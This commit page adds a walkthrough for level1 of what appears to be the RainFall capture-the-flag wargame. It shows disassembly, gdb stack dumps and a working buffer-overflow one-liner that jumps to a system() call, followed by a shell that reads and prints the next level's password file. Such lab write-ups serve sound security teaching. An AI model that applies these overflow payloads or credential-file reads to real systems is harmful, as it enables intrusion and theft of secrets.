chore: level1 walktrough
This commit is contained in:
		
							parent
							
								
									3d7f31939e
								
							
						
					
					
						commit
						527e40164b
					
				| 
						 | 
				
			
			@ -1 +0,0 @@
 | 
			
		|||
瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞D<EFBFBD>
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,93 @@
 | 
			
		|||
Code has 2 functions which are interesting, main and run.
 | 
			
		||||
We need to execute run, for this we are going to use a buffer overflow attack.
 | 
			
		||||
For this we've got to input more than the 64 bits allocated for gets command.
 | 
			
		||||
We are going to override the stack so the ret command jump to run function.
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
0x08048480 <main+0>:	push   ebp
 | 
			
		||||
0x08048481 <main+1>:	mov    ebp,esp
 | 
			
		||||
0x08048483 <main+3>:	and    esp,0xfffffff0
 | 
			
		||||
0x08048486 <main+6>:	sub    esp,0x50
 | 
			
		||||
0x08048489 <main+9>:	lea    eax,[esp+0x10]
 | 
			
		||||
0x0804848d <main+13>:	mov    DWORD PTR [esp],eax
 | 
			
		||||
0x08048490 <main+16>:	call   0x8048340 <gets@plt>
 | 
			
		||||
0x08048495 <main+21>:	leave  
 | 
			
		||||
0x08048496 <main+22>:	ret
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
0x08048444 <run+0>:		push   ebp
 | 
			
		||||
0x08048445 <run+1>:		mov    ebp,esp
 | 
			
		||||
0x08048447 <run+3>:		sub    esp,0x18
 | 
			
		||||
0x0804844a <run+6>:		mov    eax,ds:0x80497c0
 | 
			
		||||
0x0804844f <run+11>:	mov    edx,eax
 | 
			
		||||
0x08048451 <run+13>:	mov    eax,0x8048570
 | 
			
		||||
0x08048456 <run+18>:	mov    DWORD PTR [esp+0xc],edx
 | 
			
		||||
0x0804845a <run+22>:	mov    DWORD PTR [esp+0x8],0x13
 | 
			
		||||
0x08048462 <run+30>:	mov    DWORD PTR [esp+0x4],0x1
 | 
			
		||||
0x0804846a <run+38>:	mov    DWORD PTR [esp],eax
 | 
			
		||||
0x0804846d <run+41>:	call   0x8048350 <fwrite@plt>
 | 
			
		||||
0x08048472 <run+46>:	mov    DWORD PTR [esp],0x8048584
 | 
			
		||||
0x08048479 <run+53>:	call   0x8048360 <system@plt>
 | 
			
		||||
0x0804847e <run+58>:	leave
 | 
			
		||||
0x0804847f <run+59>:	ret
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Fig 1. Disassembly of main and run functions
 | 
			
		||||
 | 
			
		||||
The first step is to find where the ret address is stored, for this, we will
 | 
			
		||||
stop the program just before it begins running main and check esp register's
 | 
			
		||||
value.
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
Reading symbols from /home/user/level1/level1...(no debugging symbols found)...done.
 | 
			
		||||
(gdb) b *main+0
 | 
			
		||||
Breakpoint 1 at 0x8048480
 | 
			
		||||
(gdb) run
 | 
			
		||||
Starting program: /home/user/level1/level1 
 | 
			
		||||
 | 
			
		||||
Breakpoint 1, 0x08048480 in main ()
 | 
			
		||||
(gdb) p $esp
 | 
			
		||||
$1 = (void *) 0xbffff73c
 | 
			
		||||
(gdb) 
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Now we need to go to the gets and input 64 random characters and try to see them
 | 
			
		||||
on the stack
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
Breakpoint 1, 0x08048495 in main ()
 | 
			
		||||
(gdb) x/128xb $esp
 | 
			
		||||
0xbffff6e0:	0xf0	0xf6	0xff	0xbf	0x2f	0x00	0x00	0x00
 | 
			
		||||
0xbffff6e8:	0x3c	0xf7	0xff	0xbf	0xf4	0x0f	0xfd	0xb7
 | 
			
		||||
0xbffff6f0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff6f8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff700:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff708:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff710:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff718:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff720:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff728:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
 | 
			
		||||
0xbffff730:	0x00	0x84	0x04	0x08	0x00	0x00	0x00	0x00
 | 
			
		||||
0xbffff738:	0x00	0x00	0x00	0x00	0xd3	0x54	0xe4	0xb7
 | 
			
		||||
0xbffff740:	0x01	0x00	0x00	0x00	0xd4	0xf7	0xff	0xbf
 | 
			
		||||
0xbffff748:	0xdc	0xf7	0xff	0xbf	0x58	0xc8	0xfd	0xb7
 | 
			
		||||
0xbffff750:	0x00	0x00	0x00	0x00	0x1c	0xf7	0xff	0xbf
 | 
			
		||||
0xbffff758:	0xdc	0xf7	0xff	0xbf	0x00	0x00	0x00	0x00
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
We can see our 64 'A's in the stack, notice there is some space before 0xbffff73c.
 | 
			
		||||
That means we still need to put more 'A's, 12 precisely, then the address we want
 | 
			
		||||
to jump to.
 | 
			
		||||
 | 
			
		||||
```(python -c "print('A'*64+'A'*12+'\x44\x84\x04\x08')"; cat) | ./level1```
 | 
			
		||||
 | 
			
		||||
```level1@RainFall:~$ (python -c "print('A'*64+'A'*12+'\x44\x84\x04\x08')"; cat) | ./level1
 | 
			
		||||
Good... Wait what?
 | 
			
		||||
whoami
 | 
			
		||||
level2
 | 
			
		||||
cat /home/user/level2/.pass
 | 
			
		||||
53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
:)
 | 
			
		||||
		Loading…
	
		Reference in New Issue